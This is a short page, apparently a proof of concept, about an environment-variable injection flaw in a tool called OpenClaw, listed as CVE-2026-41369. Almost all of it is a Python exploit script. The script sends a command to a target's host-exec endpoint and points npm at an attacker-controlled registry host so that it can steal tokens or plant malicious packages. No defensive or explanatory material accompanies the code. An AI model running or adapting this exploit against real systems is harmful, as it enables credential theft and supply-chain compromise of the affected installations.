CVE-2026-41369 OpenClaw环境变量注入漏洞

import requests # PoC for CVE-2026-41369: Environment Variable Injection in OpenClaw # This script demonstrates how an attacker might inject malicious environment variables # to override the npm registry and potentially steal tokens or inject malicious packages. TARGET_URL = "http://target-openclaw-instance/api/host-exec" ATTACKER_REGISTRY = "http://malicious-registry.com" payload = { "command": "npm install", "env_vars": { "npm_config_registry": ATTACKER_REGISTRY, "NODE_ENV": "production" } } # Send the request with the malicious environment variable response = requests.post(TARGET_URL, json=payload) if response.status_code == 200: print("Exploit successful: Malicious registry injected.") else: print("Exploit failed.")